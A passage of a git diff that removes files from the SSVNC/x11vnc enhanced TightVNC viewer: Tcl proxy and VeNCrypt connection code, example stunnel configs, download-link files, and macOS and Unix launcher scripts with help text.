- destroy .; exit 1
- }
-
- if {$viewer_major > 3 || $viewer_minor >= 7} {
- vsend_uchar $viewer_sock 1
- vsend_uchar $viewer_sock $ft
- set t [vread 1 $viewer_sock]
- binary scan $t c cr
- if {$cr != $ft} {
- puts stderr "client selected wront type $cr $ft"
- destroy .; exit 1
- }
- } else {
- puts stderr "viewer <= 3.3, faking things up."
- # this should be MSB:
- vsend_uchar $viewer_sock 0
- vsend_uchar $viewer_sock 0
- vsend_uchar $viewer_sock 0
- vsend_uchar $viewer_sock $ft
-
- if {$ft == 1} {
- set t [vread 4 $server_sock]
- }
- }
- }
-
- global client_fh server_fh
- set client_fh $viewer_sock
- set server_fh $server_sock
-
- fileevent $client_fh readable xfer_in_to_out
- fileevent $server_fh readable xfer_out_to_in
-}
-
-proc vsend_uchar {sock n} {
- set s [binary format c $n]
- puts -nonewline $sock $s
- flush $sock
-}
-
-proc vencrypt_constants {} {
- uplevel {
- set rfbSecTypeAnonTls 18
- set rfbSecTypeVencrypt 19
-
- set rfbVencryptPlain 256
- set rfbVencryptTlsNone 257
- set rfbVencryptTlsVnc 258
- set rfbVencryptTlsPlain 259
- set rfbVencryptX509None 260
- set rfbVencryptX509Vnc 261
- set rfbVencryptX509Plain 262
- }
-}
-
-proc do_vencrypt {sock which} {
-
- vencrypt_constants
-
- set t [vread 1 $sock]
- binary scan $t c vs_major
- set t [vread 1 $sock]
- binary scan $t c vs_minor
-
- if {$vs_minor == "" || $vs_major == "" || $vs_major != 0 || $vs_minor < 2} {
- puts stderr "vencrypt failure bad vs version major=$major minor=$minor"
- destroy .; exit 1
- }
- puts stderr "server vencrypt version $vs_major.$vs_minor"
- bmesg "server vencrypt version $vs_major.$vs_minor"
-
- append_handshake "subversion=0.2"
- vsend_uchar $sock 0
- vsend_uchar $sock 2
-
- set t [vread 1 $sock]
- binary scan $t c result
- if {$result != 0} {
- puts stderr "vencrypt failed result: $result"
- bmesg "vencrypt failed result: $result"
- destroy .; exit 1
- }
-
- set t [vread 1 $sock]
- binary scan $t c nsubtypes
- puts stderr "nsubtypes: $nsubtypes"
- bmesg "nsubtypes: $nsubtypes"
-
- for {set i 0} {$i < $nsubtypes} {incr i} {
- set t [vread 4 $sock]
- binary scan $t I stype
- puts stderr "subtypes: $i: $stype"
- append_handshake "sst$i=$stype"
- set subtypes($stype) $i
- }
-
- set subtype 0
- if [info exists subtypes($rfbVencryptX509None)] {
- set subtype $rfbVencryptX509None
- puts stderr "selected rfbVencryptX509None"
- } elseif [info exists subtypes($rfbVencryptX509Vnc)] {
- set subtype $rfbVencryptX509Vnc
- puts stderr "selected rfbVencryptX509Vnc"
- } elseif [info exists subtypes($rfbVencryptX509Plain)] {
- set subtype $rfbVencryptX509Plain
- puts stderr "selected rfbVencryptX509Plain"
- } elseif [info exists subtypes($rfbVencryptTlsNone)] {
- set subtype $rfbVencryptTlsNone
- puts stderr "selected rfbVencryptTlsNone"
- } elseif [info exists subtypes($rfbVencryptTlsVnc)] {
- set subtype $rfbVencryptTlsVnc
- puts stderr "selected rfbVencryptTlsVnc"
- } elseif [info exists subtypes($rfbVencryptTlsPlain)] {
- set subtype $rfbVencryptTlsPlain
- puts stderr "selected rfbVencryptTlsPlain"
- }
- append_handshake "subtype=$subtype"
- set st [binary format I $subtype]
- puts -nonewline $sock $st
- flush $sock
-
- if {$subtype == 0} {
- puts stderr "vencrypt could not find an acceptable subtype: $subtype"
- destroy .; exit 1
- }
-
- set t [vread 1 $sock]
- binary scan $t c result
- puts stderr "result=$result"
-
- append_handshake "done"
-
- if {$result == 0} {
- puts stderr "vencrypt failure result: $result"
- destroy .; exit 1
- }
-
-}
-
-proc do_connect_vencrypt {sock hostport which} {
- global debug cur_proxy
-
- vencrypt_constants
-
- puts stderr "pxy=$which vencrypt $hostport via $cur_proxy"
- bmesg "V: $which vencrypt $hostport via $cur_proxy"
-
- append_handshake "mode=connect"
-
- set srfb [vread 12 $sock]
- puts stderr "srfb: $srfb"
- bmesg "srfb: $srfb"
- set srfb [string trim $srfb]
- append_handshake "server=$srfb"
-
- set minor ""
- if [regexp {^RFB 00[456]\.} $srfb] {
- set minor 8
- } elseif [regexp {^RFB 003\.0*([0-9][0-9]*)} $srfb mvar minor] {
- ;
- }
- if {$minor == "" || $minor < 7} {
- puts stderr "vencrypt failure bad minor=$minor"
- destroy .; exit 1
- }
-
- set vrfb "RFB 003.008\n"
- if {$minor == 7} {
- set vrfb "RFB 003.007\n"
- }
- puts -nonewline $sock $vrfb
- flush $sock
-
- set vrfb [string trim $vrfb]
- append_handshake "viewer=$vrfb"
- append_handshake "latency=0.10"
-
- set str [vread 1 $sock]
- binary scan $str c nsec
- puts stderr "nsec: $nsec"
- bmesg "nsec: $nsec"
- for {set i 0} {$i < $nsec} {incr i} {
- set str [vread 1 $sock]
- binary scan $str c sec
- puts stderr "sec: $sec"
- bmesg "sec: $sec"
- set sectypes($i) $sec
- }
- for {set i 0} {$i < $nsec} {incr i} {
- if {$sectypes($i) == $rfbSecTypeVencrypt} {
- append_handshake "sectype=$rfbSecTypeVencrypt"
- vsend_uchar $sock $rfbSecTypeVencrypt
- after 500
- bmesg "do_vencrypt $sock $which"
- do_vencrypt $sock $which
- return
- }
- }
- for {set i 0} {$i < $nsec} {incr i} {
- if {$sectypes($i) == $rfbSecTypeAnonTls} {
- append_handshake "sectype=$rfbSecTypeAnonTls"
- vsend_uchar $sock $rfbSecTypeAnonTls
- bmesg "rfbSecTypeAnonTls"
- after 500
- append_handshake "done"
- return
- }
- }
-}
-
-proc do_connect {sock type hostport which} {
- if {$type == "http"} {
- do_connect_http $sock $hostport $which
- } elseif {$type == "socks"} {
- do_connect_socks4 $sock $hostport $which
- } elseif {$type == "socks5"} {
- do_connect_socks5 $sock $hostport $which
- } elseif [regexp -nocase {^repeater:} $type] {
- regsub -nocase {^repeater:} $type "" repeater
- do_connect_repeater $sock $hostport $which $repeater
- } elseif {$type == "vencrypt"} {
- do_connect_vencrypt $sock $hostport $which
- }
-}
-
-proc handle_connection {fh host port} {
- global proxy1_host proxy1_port proxy1_type
- global proxy2_host proxy2_port proxy2_type
- global proxy3_host proxy3_port proxy3_type
- global proxy1 proxy2 proxy3 dest
- global debug cur_proxy
- global got_connection
-
- if {$got_connection} {
- catch {close $fh}
- return
- }
- set got_connection 1
-
- if {$debug} {
- puts stderr "connection from: $host $port"
- puts stderr "socket $proxy1_host $proxy1_port"
- }
-
- set rc [catch {set sock [socket $proxy1_host $proxy1_port]}]
- if {$rc != 0} {
- puts stderr "error connecting"
- catch {close $sock}
- destroy .
- exit
- }
-
- if {$debug} {
- puts stderr "got sock: $sock"
- }
-
- global client_fh server_fh
- set client_fh $fh
- set server_fh $sock
-
- fconfigure $fh -translation binary -blocking 0
- fconfigure $sock -translation binary -blocking 0
-
- set cur_proxy $proxy1
- if {$proxy2 != ""} {
- do_connect $sock $proxy1_type "$proxy2_host:$proxy2_port" 1
-
- set cur_proxy $proxy2
- if {$proxy3 != ""} {
- do_connect $sock $proxy2_type "$proxy3_host:$proxy3_port" 2
-
- set cur_proxy $proxy3
- do_connect $sock $proxy3_type $dest 3
-
- } else {
- do_connect $sock $proxy2_type $dest 2
- }
- } else {
- do_connect $sock $proxy1_type $dest 1
- }
-
- fileevent $fh readable xfer_in_to_out
- fileevent $sock readable xfer_out_to_in
-}
-
-proc proxy_type {proxy} {
- if [regexp -nocase {^socks://} $proxy] {
- return "socks"
- } elseif [regexp -nocase {^socks4://} $proxy] {
- return "socks"
- } elseif [regexp -nocase {^socks4a://} $proxy] {
- return "socks"
- } elseif [regexp -nocase {^socks5://} $proxy] {
- return "socks5"
- } elseif [regexp -nocase {^http://} $proxy] {
- return "http"
- } elseif [regexp -nocase {^https://} $proxy] {
- return "http"
- } elseif [regexp -nocase {^repeater://.*\+(.*)$} $proxy mat idstr] {
- return "repeater:$idstr"
- } elseif [regexp -nocase {^vencrypt://} $proxy] {
- return "vencrypt"
- } else {
- return "http"
- }
-}
-
-proc proxy_hostport {proxy} {
- regsub -nocase {^[a-z][a-z0-9]*://} $proxy "" hp
- regsub {\+.*$} $hp "" hp
- if {! [regexp {:[0-9]} $hp] && [regexp {^repeater:} $proxy]} {
- set hp "$hp:5900"
- }
- return $hp
-}
-
-proc setb {} {
- wm withdraw .
- catch {destroy .b}
- button .b -text "CONNECT_BR" -command {destroy .}
- pack .b
- after 1000 check_callback
-}
-
-proc connect_br_sleep {} {
- global env
- if [info exists env(CONNECT_BR_SLEEP)] {
- if [regexp {^[0-9][0-9]*$} $env(CONNECT_BR_SLEEP)] {
- setb
- for {set i 0} {$i < $env(CONNECT_BR_SLEEP)} {incr i} {
- bmesg "$i sleep"
- after 1000
- }
- }
- }
-}
-
-global env
-
-set got_connection 0
-set proxy1 ""
-set proxy2 ""
-set proxy3 ""
-set client_fh ""
-set server_fh ""
-set do_bridge 0
-set debug 0
-
-if [info exists env(CONNECT_BR_DEBUG)] {
- set debug 1
-}
-
-if [info exists env(SSVNC_VENCRYPT_VIEWER_BRIDGE)] {
- set s [split $env(SSVNC_VENCRYPT_VIEWER_BRIDGE) ","]
- set listen [lindex $s 0]
- set connect [lindex $s 1]
-
- setb
-
- do_vencrypt_viewer_bridge $listen $connect
- set do_bridge 1
-}
-
-if {$do_bridge} {
- ;
-} else {
- if {$debug && 0} {
- if {! [info exists env(SSVNC_DEST)]} {
- set env(SSVNC_DEST) "haystack:2037"
- }
- if {! [info exists env(SSVNC_PROXY)]} {
- set env(SSVNC_PROXY) "haystack:2037"
- }
- if {! [info exists env(SSVNC_LISTEN)]} {
- set env(SSVNC_LISTEN) "6789"
- }
- } else {
- if {! [info exists env(SSVNC_DEST)]} {
- destroy .; exit;
- }
- if {! [info exists env(SSVNC_PROXY)]} {
- destroy .; exit;
- }
- if {! [info exists env(SSVNC_LISTEN)] && ! [info exists env(SSVNC_REVERSE)]} {
- destroy .; exit;
- }
- }
-
- #set env(BMESG) 1
-
- set dest $env(SSVNC_DEST)
-
- if [regexp {,} $env(SSVNC_PROXY)] {
- set s [split $env(SSVNC_PROXY) ","]
- set proxy1 [lindex $s 0]
- set proxy2 [lindex $s 1]
- set proxy3 [lindex $s 2]
- } else {
- set proxy1 $env(SSVNC_PROXY)
- }
-
- set proxy1_type [proxy_type $proxy1]
- set proxy1_hp [proxy_hostport $proxy1]
-
- set proxy1_host ""
- set proxy1_port ""
- if [regexp {^(.*):([0-9][0-9]*)$} $proxy1_hp mvar proxy1_host proxy1_port] {
- ;
- } else {
- puts stderr "could not parse hp1 host:port $proxy1_hp"
- destroy .
- exit 1
- }
-
- set proxy2_type ""
- set proxy2_host ""
- set proxy2_port ""
-
- if {$proxy2 != ""} {
- set proxy2_type [proxy_type $proxy2]
- set proxy2_hp [proxy_hostport $proxy2]
-
- set proxy2_host ""
- set proxy2_port ""
- if [regexp {^(.*):([0-9][0-9]*)$} $proxy2_hp mvar proxy2_host proxy2_port] {
- ;
- } else {
- puts stderr "could not parse hp2 host:port $proxy2_hp"
- destroy .
- exit 1
- }
- }
-
- set proxy3_type ""
- set proxy3_host ""
- set proxy3_port ""
-
- if {$proxy3 != ""} {
- set proxy3_type [proxy_type $proxy3]
- set proxy3_hp [proxy_hostport $proxy3]
-
- set proxy3_host ""
- set proxy3_port ""
- if [regexp {^(.*):([0-9][0-9]*)$} $proxy3_hp mvar proxy3_host proxy3_port] {
- ;
- } else {
- puts stderr "could not parse hp3 host:port $proxy3_hp"
- destroy .
- exit 1
- }
- }
-
- bmesg "1: '$proxy1_host' '$proxy1_port' '$proxy1_type'";
- bmesg "2: '$proxy2_host' '$proxy2_port' '$proxy2_type'";
- bmesg "3: '$proxy3_host' '$proxy3_port' '$proxy3_type'";
-
- if [info exists env(SSVNC_REVERSE)] {
- set rhost ""
- set rport ""
- if [regexp {^(.*):([0-9][0-9]*)$} $env(SSVNC_REVERSE) mvar rhost rport] {
- ;
- } else {
- puts stderr "could not parse SSVNC_REVERSE host:port $env(SSVNC_REVERSE)"
- destroy .
- exit 1
- }
- setb
- set rc [catch {set lsock [socket $rhost $rport]}]
- if {$rc != 0} {
- puts stderr "error reversing"
- bmesg "1 error reversing"
- after 2000
- set rc [catch {set lsock [socket $rhost $rport]}]
- }
- if {$rc != 0} {
- puts stderr "error reversing"
- bmesg "2 error reversing"
- after 2000
- set rc [catch {set lsock [socket $rhost $rport]}]
- }
- if {$rc != 0} {
- puts stderr "error reversing"
- bmesg "3 error reversing"
- destroy .; exit 1
- }
- puts stderr "SSVNC_REVERSE to $rhost $rport OK";
- bmesg "SSVNC_REVERSE to $rhost $rport OK";
- connect_br_sleep
- handle_connection $lsock $rhost $rport
- } else {
- set lport $env(SSVNC_LISTEN)
- connect_br_sleep
- set rc [catch {set lsock [socket -myaddr 127.0.0.1 -server handle_connection $lport]}]
- if {$rc != 0} {
- puts stderr "error listening"
- destroy .; exit 1
- }
- puts stderr "SSVNC_LISTEN on $lport OK";
- setb
- }
-}
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/download.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/download.url
deleted file mode 100644
index 59f1f6b..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/download.url
+++ /dev/null
@@ -1 +0,0 @@
-http://www.tux.org/~ricdude/EsounD.html
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/download.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/download.url
deleted file mode 100644
index 237d4b1..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/download.url
+++ /dev/null
@@ -1 +0,0 @@
-http://www.stunnel.org/download/stunnel/win32/
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/location.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/location.url
deleted file mode 100644
index c700866..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/location.url
+++ /dev/null
@@ -1 +0,0 @@
-http://www.stunnel.org/download/binaries.html
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/download.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/download.url
deleted file mode 100644
index a23901e..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/download.url
+++ /dev/null
@@ -1 +0,0 @@
-http://www.chiark.greenend.org.uk/%7esgtatham/putty/download.html
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licence.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licence.url
deleted file mode 100644
index 2efcc31..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licence.url
+++ /dev/null
@@ -1 +0,0 @@
-http://www.chiark.greenend.org.uk/%7esgtatham/putty/licence.html
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/download.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/download.url
deleted file mode 100644
index 237d4b1..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/download.url
+++ /dev/null
@@ -1 +0,0 @@
-http://www.stunnel.org/download/stunnel/win32/
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/location.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/location.url
deleted file mode 100644
index 4f87491..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/location.url
+++ /dev/null
@@ -1,2 +0,0 @@
-http://www.stunnel.org/download/binaries.html
-http://stunnel.mirt.net/
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/download.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/download.url
deleted file mode 100644
index 36c60e4..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/download.url
+++ /dev/null
@@ -1 +0,0 @@
-http://www.tightvnc.com/download.html
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/location.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/location.url
deleted file mode 100644
index a686ae0..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/location.url
+++ /dev/null
@@ -1 +0,0 @@
-http://www.tightvnc.com
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.conf b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.conf
deleted file mode 100644
index 7517e23..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.conf
+++ /dev/null
@@ -1,43 +0,0 @@
-#
-# Example SSL stunnel CLIENT configuration file. (you run stunnel on
-# this machine and point your vnc viewer to it, it goes to remote VNC
-# server via SSL)
-#
-# To use this file you will need to edit it. Then you will need
-# to manually start up stunnel using it.
-# (e.g. /path/to/stunnel stunnel-server.conf)
-#
-# This is just an example and is not used by the tools in this package.
-# It is here to show how to create outgoing SSL connections to remote
-# VNC servers when not using the tools in this package.
-#
-client = yes
-options = ALL
-RNDbytes = 2048
-RNDfile = bananarand.bin
-RNDoverwrite = yes
-#
-# Remote server certs could go here:
-# CApath = /path/to/.../crt-dir
-# CAfile = /path/to/.../foo.crt
-# verify = 2
-# My cert could go here:
-# cert = /path/to/.../my.pem
-#
-[vnc]
-#
-# Set to local listening port number (e.g. 5900 for vnc display 0):
-#
-accept = localhost:5900
-#
-# Set to remote host:port to connect to (e.g. far-away.east:5900):
-# (this is where the VNC server is. :0 -> port 5900, etc)
-#
-connect = HOST:PORT
-delay = no
-#
-# You could add additional ones going to other VNC servers:
-# [vnc2]
-# accept = localhost:5901
-# connect = HOST2:PORT2
-# etc ...
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.conf b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.conf
deleted file mode 100644
index 8e5dd50..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.conf
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-# Example SSL stunnel SERVER configuration file. (e.g. for your VNC
-# server on this same machine.)
-#
-# To use this file you may need to edit it. Then you will need
-# to manually start up stunnel using it.
-# (e.g. /path/to/stunnel stunnel-server.conf)
-#
-# This is just an example and is not used by the tools in this package.
-# It is here in case you wanted to see how to add SSL support to any
-# VNC server you have.
-#
-RNDbytes = 2048
-RNDfile = bananarand.bin
-RNDoverwrite = yes
-#
-# Remote client certs could go here:
-# CApath = /path/to/.../crt-dir
-# CAfile = /path/to/.../foo.crt
-# verify = 2
-# My server cert could go here:
-# cert = /path/to/.../my.pem
-#
-[vnc]
-#
-# Set to local listening port number (e.g. 5901 for vnc display 1):
-# so the remote viewers would connect to: yourmachine:1
-#
-accept = 5901
-#
-# Set to localhost:port to connect to VNC server on this same machine:
-# (E.g. you run WinVNC on :0, preferably listening on localhost).
-#
-connect = localhost:5900
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url
deleted file mode 100644
index eb94b91..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url
+++ /dev/null
@@ -1 +0,0 @@
-ftp://ftp.microsoft.com/Services/TechNet/samples/PS/Win98/Reskit/DIAGNOSE/
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cpover b/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cpover
deleted file mode 100755
index 45ec5ae..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cpover
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/sh
-
-cp -p vncviewer.sh vncviewer
-pwd
-ls -l vncviewer.sh vncviewer
-
-(cd ../Darwin.i386; .cpover)
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vncviewer.sh b/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vncviewer.sh
deleted file mode 100755
index 92dcefb..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vncviewer.sh
+++ /dev/null
@@ -1,39 +0,0 @@
-#!/bin/sh
-
-# copy "vncviewer.sh" back over to "vncviewer" in case you delete or overwrite it
-# via build.unix. etc
-
-dir=`dirname "$0"`
-
-if [ "X$SSVNC_DYLD_LIBRARY_PATH" != "X" ]; then
- if [ "X$DYLD_LIBRARY_PATH" = "X" ] ; then
- DYLD_LIBRARY_PATH=$SSVNC_DYLD_LIBRARY_PATH
- else
- DYLD_LIBRARY_PATH=$DYLD_LIBRARY_PATH:$SSVNC_DYLD_LIBRARY_PATH
- fi
- export DYLD_LIBRARY_PATH
-fi
-
-if [ "X$DISPLAY" != "X" -a "X$DARWIN_COTVNC" != "X1" ]; then
- "$dir/vncviewer.x11" "$@"
-else
- args=""
- for a in "$@"
- do
- if echo "$a" | grep '^-' > /dev/null; then
- args="$args $a"
- elif echo "$a" | grep ':' > /dev/null; then
- h=`echo "$a" | awk -F: '{print $1}'`
- p=`echo "$a" | awk -F: '{print $2}'`
- if [ "X$p" != "X" ]; then
- if [ $p -lt 5900 ]; then
- p=`expr $p + 5900`
- fi
- fi
- args="$args $h:$p"
- else
- args="$args $a"
- fi
- done
- "$dir/../../MacOSX/Chicken of the VNC.app/Contents/MacOS/Chicken of the VNC" $args
-fi
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover b/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover
deleted file mode 100755
index c0080b1..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/sh
-
-cp -p ../Darwin.Power.Macintosh/vncviewer.sh .
-cp -p vncviewer.sh vncviewer
-pwd
-ls -l vncviewer.sh vncviewer
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc b/x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc
deleted file mode 100755
index a427b42..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/sh
-#
-# wrapper for SSH_ONLY mode
-#
-PATH=`dirname "$0"`:$PATH; export PATH
-SSVNC_SSH_ONLY=1; export SSVNC_SSH_ONLY
-exec ssvnc -ssh "$@"
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc b/x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc
deleted file mode 100755
index 9cd636b..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc
+++ /dev/null
@@ -1,289 +0,0 @@
-#!/bin/sh
-#
-# Copyright (c) 2006-2009 by Karl J. Runge <runge@karlrunge.com>
-#
-# ssvnc:
-#
-# A wrapper for ssvnc_cmd using a tcl/tk gui.
-#
-# See ssvnc_cmd for details.
-#
-if [ "X$1" = "X-help" -o "X$1" = "X-h" ]; then
- cat << END
-ssvnc - a GUI wrapper for SSL and SSH VNC connections.
-
-SYNOPSIS
- ssvnc
- ssvnc [host][:display]
- ssvnc [saved-profile-name]
- ssvnc [options] [host-or-profile]
- ssvnc -cmd [ssvnc_cmd-args]
- ssvnc --help
-
-DESCRIPTION
- ssvnc is a tcl/tk gui wrapper that runs on Unix, MacOSX, and Windows.
- It sets up an SSL or SSH tunnel to the remote VNC Server and then
- launches the VNC viewer (either the one provided or another one that
- you have specified) to use that encrypted tunnel to connect to the VNC
- Server. The use of Proxies and Gateways to make the connections is
- implemented.
-
-OPTIONS
- -help, -h Print this help.
-
- --help Starts up the GUI as though the 'Help' button was pressed to
- show the main Help panel.
-
- -cmd [ssvnc_cmd-args]
- Launch the ssvnc_cmd utility command directly (no GUI) with the
- given arguments (for use when ssvnc_cmd is not in one's PATH.)
- If neither ssvnc_cmd nor ssvncviewer is in PATH, one can launch
- the viewer directly via: ssvnc -cmd -viewer [viewer-args]
-
- -profiles
- List the saved SSVNC profiles you have created. A profile is a
- destination host with specific parameter settings.
-
- -list Same as -profiles
-
- -ssh Start in "SSH Only Mode". No SSL aspects are shown. Same as
- running the command sshvnc
-
- -ts Start in "Terminal Services Mode". This is like "SSH Only
- Mode", but simpler and assumes x11vnc is available on the remote
- side to start and manage X and VNC sessions. Same as running
- the command tsvnc
-
- -tso Same as -ts "Terminal Services Mode", however never let the user
- leave this mode (no button to switch modes is provided.) Same
- as SSVNC_TS_ALWAYS=1.
-
- -ssl Force the full GUI Mode: both SSL and SSH. This is the default.
- Same as -ss.
-
- -nv Toggle the "Verify All Certs" button to be off at startup.
-
- -nvb Never show the "Verify All Certs" button. Same as SSVNC_NO_VER-
- IFY_ALL_BUTTON=1.
-
- -bigger
- Make the Profile Selection Dialog window bigger. Same as
- SSVNC_BIGGER_DIALOG=1.
-
- -noenc Start off in a mode where a 'No Encryption' check button is
- present. You can toggle the mode with Ctrl-E. Same as
- SSVNC_DISABLE_ENCRYPTION_BUTTON=1. Or noenc=1 in ~/.ssvncrc.
- Selecting no encryption is the same as the vnc:// and Vnc://
- prefixes described below. The -noenc mode is now the default,
- use -enc or noenc=0 for the opposite behavior.
-
- -killstunnel
- On Windows, automatically terminate the STUNNEL process when the
- viewer exits instead of prompting you (same as killstunnel=1 in
- ssvnc_rc or toggle in Options menu)
-
- -nokillstunnel
- On Windows, disable -killstunnel mode. Same as killstunnel=0 in
- ssvnc_rc or toggle in Options menu. Note that -killstunnel mode
- is now the default.
-
- -mycert /path/to/mycert.pem
- Set the default "MyCert" to be /path/to/mycert.pem. Same as
- -cert. If the file does not exist, ~/.vnc/certs is prefixed and
- tried. You can also set mycert=/path/to/mycert.pem in ~/.ssvncrc
-
- -cacert /path/to/cacert.crt
- Set the default "ServerCert" to be /path/to/cacert.crt. Same as
- -ca. If the file does not exist, ~/.vnc/certs is prefixed and
- tried. You can also set cacert=/path/to/cacert.crt in ~/.ssvncrc
-
- -crl /path/to/mycrl.pem
- Set the default Certificate Revocation List to be
- /path/to/mycrl.pem. If the file does not exist, ~/.vnc/certs is
- prefixed and tried. You can also set crl=/path/to/mycrl.pem in
- ~/.ssvncrc.
-END
- exit 0
-fi
-if [ "X$1" = "X-ssh" ]; then
- if [ "X$2" = "X-help" -o "X$2" = "X-h" ]; then
- cat << END
-sshvnc - a GUI wrapper for SSH VNC connections.
-
-SYNOPSIS
- sshvnc
- sshvnc [host][:display]
- sshvnc [saved-profile-name]
- sshvnc [options] [host-or-profile]
- sshvnc --help
-
-See 'ssvnc $2' and 'ssvnc --help' for more information.
-END
- exit 0
- fi
-fi
-
-if [ "X$1" = "X-ts" -o "X$1" = "X-tso" ]; then
- if [ "X$2" = "X-help" -o "X$2" = "X-h" ]; then
- cat << END
-tsvnc - a GUI wrapper for SSH VNC connections using x11vnc Terminal Services.
-
-SYNOPSIS
- tsvnc
- tsvnc [host][:display]
- tsvnc [saved-profile-name]
- tsvnc [options] [host-or-profile]
- tsvnc --help
-
-See 'ssvnc $2' and 'tsvnc --help' for more information.
-END
- exit 0
- fi
-fi
-
-
-if [ "X$XTERM_PRINT" != "X" ]; then
- XTERM_PRINT=""
- cat > /dev/null
-fi
-if [ "X$1" = "X-bg" ]; then
- shift
- $0 "$@" &
- exit 0
-fi
-
-
-PATH=$PATH:/usr/bin:/bin:/usr/bin/X11:/usr/X11R6/bin:/usr/openwin/bin:/usr/sfw/bin:/usr/local/bin
-export PATH
-
-if [ "X$FULLNAME" = "XKarl J. Runge" ]; then
- if [ "X$NOPOPUFIX" = "X" ]; then
- VNCVIEWER_POPUP_FIX=1
- export VNCVIEWER_POPUP_FIX
- fi
- PATH=`echo "$PATH" | sed -e 's,runge/bin/override,-------------,'`
-fi
-
-if [ "X$WISH" = "X" ]; then
- WISH=wish
- for try in wish8.4 wish wish8.3 wish8.5 wish8.6
- do
- if type $try > /dev/null 2>&1; then
- WISH=$try
- break
- fi
- done
- export WISH
-fi
-
-
-SSVNC_GUI_CMD="$0 $*"
-export SSVNC_GUI_CMD
-SSVNC_LAUNCH=$SSVNC_GUI_CMD
-export SSVNC_LAUNCH
-
-# work out os.arch platform string and check for binaries:
-#
-name=$UNAME
-if [ "X$name" = "X" ]; then
- name=`uname -sm | sed -e 's/ /./g' -e 's,/.*,,' -e 's/Linux\.i.86/Linux.i686/'`
-fi
-
-dL="-L"
-if uname -sr | egrep 'SunOS 5\.[5-8]' > /dev/null; then
- dL="-h"
-fi
-
-f="$0"
-for t in 1 2 3 4 5
-do
- if [ $dL "$f" ]; then
- f0="$f"
- f=`ls -l "$f" | sed -e 's/^.* -> //'`
- if echo "$f" | grep '^/' > /dev/null; then
- :
- else
- f="`dirname "$f0"`/$f"
- fi
- else
- break
- fi
-done
-dir=`dirname "$f"`
-PATH="$dir:$PATH"
-
-nearby=0
-if [ -x "$dir/vncviewer" -a -x "$dir/stunnel" ]; then
- nearby=1
-fi
-if [ "X$name" = "X." ]; then
- :
- #type vncviewer
- #type stunnel
-elif [ ! -d "$dir/$name" -a $nearby = 0 ]; then
- echo
- echo "Cannot find platform dir for your OS `uname -sm`:"
- echo
- echo " $dir/$name"
- echo
- PATH=$PATH:/usr/sbin:/usr/local/sbin:/dist/sbin
-
